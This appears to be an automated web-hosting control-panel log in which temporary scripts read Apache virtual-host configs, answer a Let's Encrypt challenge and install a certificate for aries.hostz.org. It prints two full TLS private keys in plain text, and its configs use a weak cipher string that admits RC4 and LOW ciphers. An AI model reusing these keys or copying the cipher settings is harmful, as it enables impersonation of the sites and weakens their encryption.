with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:49: 

chmod 755 /tmp/pkp306785; /tmp/pkp306785; rm /tmp/pkp306785

2026-02-03 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf	1310

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-03 06:00:49: 

PUT: /tmp/pkp989549

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:49: 

chmod 755 /tmp/pkp989549; /tmp/pkp989549; rm /tmp/pkp989549

2026-02-03 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt	5398
44:d7:30:3e:89:f9:02:5c:a2:43:a7:66:00:09:dd:8f

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBrmu/zw2Wh/D9xtcYt/kk4GyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAzMDUwMjE2WhcNMjYwNTA0MDUwMjE1WjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjCwIeTPvvdSt65LrI9hUna3HVPHO2EnbnnVat2Ojg6NqrsCa3Y0/IrozM
Ha8cGIeN31lOA1FHJRLzFSkx0VHLibkcpCklpPH4qBBqZaJIiHvNZDD2yK1Ljmk0
yhOw/qoe10bJQVz+yegavgg7k39dRQ891kFp8acrOyj90gD8kRtjpaljpvO9ybWN
xskLBQ8Itl/hLn6Coeq2CJi+D/czXiB68VJ5WqVpAZIRBHPHllmX+4b8WsiId4BS
MTFHIiWI2E1mCcC6Bk/DpCQ+yMbm1jx9JO4OwYwxV6QHBH76ks3tR+5ZIcl55tPI
cDb8M5SRAocB1ARrwGoURZJFV5EnAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLvTMeaYCZzlJWLiRfQydnQus28XMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL
9gQpJ/jnHzMT9foAAAGcIhbSwwAABAMARjBEAiBNNObxYKNpivmcroKmruD8GqFl
6c7QAiyjBH/0brONzwIgSj1N7YDuEsdd3hQmnk8u8TLQsa8zZWyC+46k7nNhJ40A
fgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZwiFtSjAAgAAAUA
MVcJ/wQDAEcwRQIgbXbHNwhU+Km1s72UT/lzdWuNKJtcEj2vPwXUlIoe8LwCIQDg
0H3FWM3gxcniFZYLjIBloL9aBEKMS9mFuQwbGkTTiDANBgkqhkiG9w0BAQsFAAOC
AQEAfvO4V/w0XzubjKBJv1mfztJeWhH1M5IwrcnJuHnVbnQiwW2rckHNtKQUBL6W
pLyeVyT31yaJ/RA7wkvuKy9ANxcDvnPBOHca1AmDhCastHgB2oh4shr2/1ZxP6s5
CF8r7nDdk9FzgToOsiOE6QVaVWC+deCZMTx0/k8d5+w4A/eag9lBSzBGPzbm+e9Z
Jtb6UgUvVgs00o+vBqhUQgP7jyN1soopYT/k0GaoqKHLckl6TmS6DAs576NmVipa
rn0sBTD6oJTwOQrrLzDPEuRdO+GzHGOihUOa43rdH9+mYbpdU8/EVF7lsGBdI92+
H0oLia2Zs6WA2C1T0sEXSolsJQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCjCwIeTPvvdSt6
5LrI9hUna3HVPHO2EnbnnVat2Ojg6NqrsCa3Y0/IrozMHa8cGIeN31lOA1FHJRLz
FSkx0VHLibkcpCklpPH4qBBqZaJIiHvNZDD2yK1Ljmk0yhOw/qoe10bJQVz+yega
vgg7k39dRQ891kFp8acrOyj90gD8kRtjpaljpvO9ybWNxskLBQ8Itl/hLn6Coeq2
CJi+D/czXiB68VJ5WqVpAZIRBHPHllmX+4b8WsiId4BSMTFHIiWI2E1mCcC6Bk/D
pCQ+yMbm1jx9JO4OwYwxV6QHBH76ks3tR+5ZIcl55tPIcDb8M5SRAocB1ARrwGoU
RZJFV5EnAgMBAAECggEAUWtkZexM3ZJWIbtKeaPGAZb61CEpqZFD9rsQN6W7+eDe
nmFLnEYIaC+emSnzseSgAN2586bddllRwrldBodAwRNoMSDbeXSK74FCHVfeuDkM
FhAEEaE6RSJ7cES/m6I5I0ifDU7KWWRLt9sRMmsgbdvYVimCJh1qvUCAYmx2WKlz
vwm4SGobZt4ZkLbpwSkP/GS4nw817tnvrcZwjXPmaHwihajtyYxBLYTZoEItPmSS
+qtGZUSfR0z54q3aS2zCBq5hcIlt3OxDfdDGSKeRf58AUN17smY4QlTXarhFGXGv
fQFlRbCx+bP1UeiY7kgkVbvmznglXpL/nhLPmkTuWQKBgQDXUIya0akWRfEFMyp3
tKMR5jB4M0RAJPN5OAwZIILBUoYPj7eqpaQRgPskORZyzcW/LiTLJ6i60KdGiUvm
3hOYnOVkAvoHLafXM1FEgKNvaf9DUDeBBF2VCBzZYkviN8iVhz2KlfqMPVNdaXIi
4HeUwKxex1LOeR07em/4o+ea2QKBgQDB2eoIDKjl85TWBOY9ygzz77NpDElwgGuy
UBK7/t8ZEPU0H8ZhdX6uxPpItfamtR066iLRxo2LEqFznOHjYud/qeAxOPSqL83u
AFLHg58etn83iOzvwvyKHqA8PoroqWCcHjXk+N1MgpzBQ/SwdXI9PgVjl4u+mm+J
4JIf7cUL/wKBgFViTu/SNtBrWgHq4WtpCcW+V/hCtE0PmjG25S1NtCx/0kP3hSk5
2I9Ma8tYjCtoqIOBA/xANOwodD1Hkv7xkCnUBi+b8pTIKSfw5MhajvVOvnhuJiSW
m5nPBsm57ke+QV/yqpf7k8jrRNTlTOrBwwoNQg2v04mng80jZ6XdMao5AoGAI+KX
NE5Dpe3li4j0plOU+kNRTwz7O1xKk4PHNA4Gdrlw6ulG7Bu4C9pjCrrEoi+87X8S
WwsKgMg+IwzTtChG+pcT7YjBog+fa4Obz1tKRYE7I6ixU+EgpuDsgLqDNHbGb6AY
Ef8P2G4FXrGZxmC3eSbWEI2pTOuB4mA0LLzzUTkCgYBc4ms3FK6DXzyI4rgz27vK
/XQCFxyhk2eIDkseEcw4oaAlCh3dQHX98TSLUh23s/ETYT7Bp6Dj0N77cON+aUU0
L6VUKheE+JFHwZU4+W0kkQb8fpOMkgoNgYltuvcqtgamjEjGY5TsZwp3mf8P66ip
lOeu2MfVe3xOimvspkU/kQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-03 06:00:49: Establishing a remote connection
2026-02-04 06:00:02: Establishing a connection
2026-02-04 06:00:03: Establishing a connection
2026-02-04 06:00:03: 

PUT: /tmp/pkp734421

#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-04 06:00:04: 

chmod 755 /tmp/pkp734421; /tmp/pkp734421; rm /tmp/pkp734421

2026-02-04 06:00:04: 


1


2026-02-04 06:00:05: Establishing a connection
2026-02-04 06:00:05: 

PUT: /tmp/pkp507860

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > ElSU2S1RcxT-WTW1O14dJkTFdFvp9FR5A9D6QqinRgc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ElSU2S1RcxT-WTW1O14dJkTFdFvp9FR5A9D6QqinRgc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ElSU2S1RcxT-WTW1O14dJkTFdFvp9FR5A9D6QqinRgc


2026-02-04 06:00:06: 

chmod 755 /tmp/pkp507860; /tmp/pkp507860; rm /tmp/pkp507860

2026-02-04 06:00:06: 




2026-02-04 06:00:12: Establishing a connection
2026-02-04 06:00:12: 

PUT: /tmp/pkp944551

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm ElSU2S1RcxT-WTW1O14dJkTFdFvp9FR5A9D6QqinRgc


2026-02-04 06:00:12: 

chmod 755 /tmp/pkp944551; /tmp/pkp944551; rm /tmp/pkp944551

2026-02-04 06:00:12: 




2026-02-04 06:00:12: Establishing a connection
2026-02-04 06:00:12: 

PUT: /tmp/pkp950973

#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt

cat > $temp_file <<'endmsg'
74:aa:d3:7e:8e:3d:2b:a2:ab:ae:2a:1b:34:12:c5:92

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBpcRRWBe4d6zMSCFM3mmGxZRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA0MDUwMTQxWhcNMjYwNTA1MDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCrNO9Vlv8NpY16LQzqFBk10pDRawh73P2HIu9DyPyS05dFrDWIGwqYHedWQgNs
i6l9n9JFb+DrUIUfzkUHO7+S9S2RSmFakzztCNGbIICvjYbCbMV8pXunh88b/F4H
UECiZBm1+m9Fmb1dMtHy8EMjgGD+NEIIp5Dk0soUsGEWUcQ/BjJ++v4LLNdU1kxw
HjtZbclaM4JcXXtkwIGSBUp0bcb4VBR4ICljSmlwfAFeqmyBwDBaV0Trk4qFers5
U4gHMD7j18hZQGjvSq8zm53Dwj/exb489XBOoT9MyHBr39pIkopFHXr3KIQhesvT
HWNoz7TL/DOgqKUpAt8C9seRAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAMc6A6NF8A9Vrv66AKnRPqn7RnBMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvODIuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHE
bKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcJzykMQAABAMARjBEAiAS
CSUCXQQtCl1nYrQ+wU1HRed6bJvw7HyswWqpV7ZG+gIgbf5RO7T6VHvCXeVpLrHo
vGU9hHyavgOpqvhGpEabuXMAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+Ocf
MxP1+gAAAZwnPKRRAAAEAwBHMEUCIQD56Gp13H8WDoHd84hLl6vsXozu7hd5JQEm
3d4wa+mz4gIgEzEdHCDROfUfCq3tbqOX2gE7X5bGJbFiElsLEcsAAPowDQYJKoZI
hvcNAQELBQADggEBAIKXyW3+fNcMDhjO56oJ69JBXbjZvdQDPXrdBIFjc0v3+xFy
D2Cz86lR8sz4BYsEYJ461N1ZMhv7wn7gjKr34yENHG0aTru9Dwg/OQ3PQ4KVxmxl
nsu1fF88dKTchwh1CyIDP3t+tjWknVnv4Rxs2gX7E7D9Ho2O3zOtyEXcO18/oIVf
LF9aeM+bb6uTXjFS/rEuvirzkAVR4Bsayo0DWOMcqgcDfHhKNZZi7NSHWyoqYTVn
YtiukfMIF2FgD+C+JY6TmHi+CXQYgWr075reIcvsClHHS+mv91Y0XbhwugfXMteZ
ZyS+Mi/0mx4zQk/7NJ41rSQ892zA5eR2bDw0m8o=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCrNO9Vlv8NpY16
LQzqFBk10pDRawh73P2HIu9DyPyS05dFrDWIGwqYHedWQgNsi6l9n9JFb+DrUIUf
zkUHO7+S9S2RSmFakzztCNGbIICvjYbCbMV8pXunh88b/F4HUECiZBm1+m9Fmb1d
MtHy8EMjgGD+NEIIp5Dk0soUsGEWUcQ/BjJ++v4LLNdU1kxwHjtZbclaM4JcXXtk
wIGSBUp0bcb4VBR4ICljSmlwfAFeqmyBwDBaV0Trk4qFers5U4gHMD7j18hZQGjv
Sq8zm53Dwj/exb489XBOoT9MyHBr39pIkopFHXr3KIQhesvTHWNoz7TL/DOgqKUp
At8C9seRAgMBAAECggEADXLPCg4eYtgKUPqQ9SI3CL9NmOWreO9XCvJ3kP+Mt4vf
ah2o5tQY9PIEZgYxdqlR2whe4A11wYZFrsXpLjRHTCfuOGd7Vj4Snxv+Ow1GjoOz
fjpFGRF2sSY94pjkWfa33Qm360+Mxg7ZjSSc0VSGMZe4Br/cIAnpm8/jB9UDC1mn
y/9eUm6wHJ6N+zLs7ImtEvR/Koxk868j4VV71JKYXzpkREFKHCC274gIWd2b8bPP
hdxK9DJiQ0WYp8QpRCwnA1y7oKALV31cUzr37E1/8eIyQT7ZUSivseJXQPg/Exnf
xa9olhJeuZo3AOQ1A8LPznMUszsHD075gw9mgcc2QQKBgQDsEYSwjeRcrg+0GPsi
kJP98G5OcAykIFj1EZVf6cvbRyIKO/dZaXwmtEXEaRQE8vzQ7XVKHgW27gcp4tqK
jiZrl3VpygrUeGetvFm4WbsjwyThWxK96QvIIG01ESiscAg0u2r51Gilkib6vBsK
54MCNwNhHtIDA3imHqE5bYAIbQKBgQC5qXg+BeyIiL3to6Snz7JXCdb+10bq9f76
EXWqaA3TVog7T63E7qycO01zzZ/KVDf9XGhMQNO4RsFKr+mJkNlo18YFkVz3e13Q
Di15xYReL3OXO3Bv6smW8jq/FBC+2DCd0NNPuF3ei79E0NNs+yB3zsuS0Mib6RIe
XhP+PXWNNQKBgQDhb2VQmWAf5ZVXfpetDXZWhdlBDJ31ynJJLk6AtqsXr1lhfpya
hTKrX3JUu6gDhexKtMlSS1NXuv2aUWoz8MXd71iP+wLWnlkcP4dKll4xK7U3hBpk
w32d0uGXUNiPu7kKaoQhKmf43ZZd0W7dvfKNFe4jPCR//jukIBIE3n3rDQKBgD0j
NkpOTxai2NBBW/46ocKRpe+jWmITAZS9XR7xRuQ6EYBee51m7wY/bQDeTGknFIzk
+h9qFY4QFqSOivvW7BDfRQEeXhvMzxatJIJ97VnKjGjXlO31xc5kE75KUD1YGaJO
WtdcoeSf5is2DPlNNOLfASBmijj1JhdD6ZeGC4ilAoGATVTgErdeBl/XSUDPf17W
pDNmyPcO+pBHkCnlOLn7NI0d+2nD3OvkwXeAOuykbtjObBpQ4iXlZa0JJ0Qc4/hx
W0YdfipU2yEhFwKXH+O2ZLfAaZN2IdyVA7/rELkSrQdVDHInZDmZ0TIcyQCQy39o
Zgk+mVguI6LNofjsy6vtSwU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-04 06:00:12: 

chmod 755 /tmp/pkp950973; /tmp/pkp950973; rm /tmp/pkp950973

2026-02-04 06:00:12: 


dir=/etc/ssl/certs


2026-02-04 06:00:12: 

PUT: /tmp/pkp679547

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-04 06:00:12: 

chmod 755 /tmp/pkp679547; /tmp/pkp679547; rm /tmp/pkp679547

2026-02-04 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-02-04 06:00:12: 

PUT: /tmp/pkp298004

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
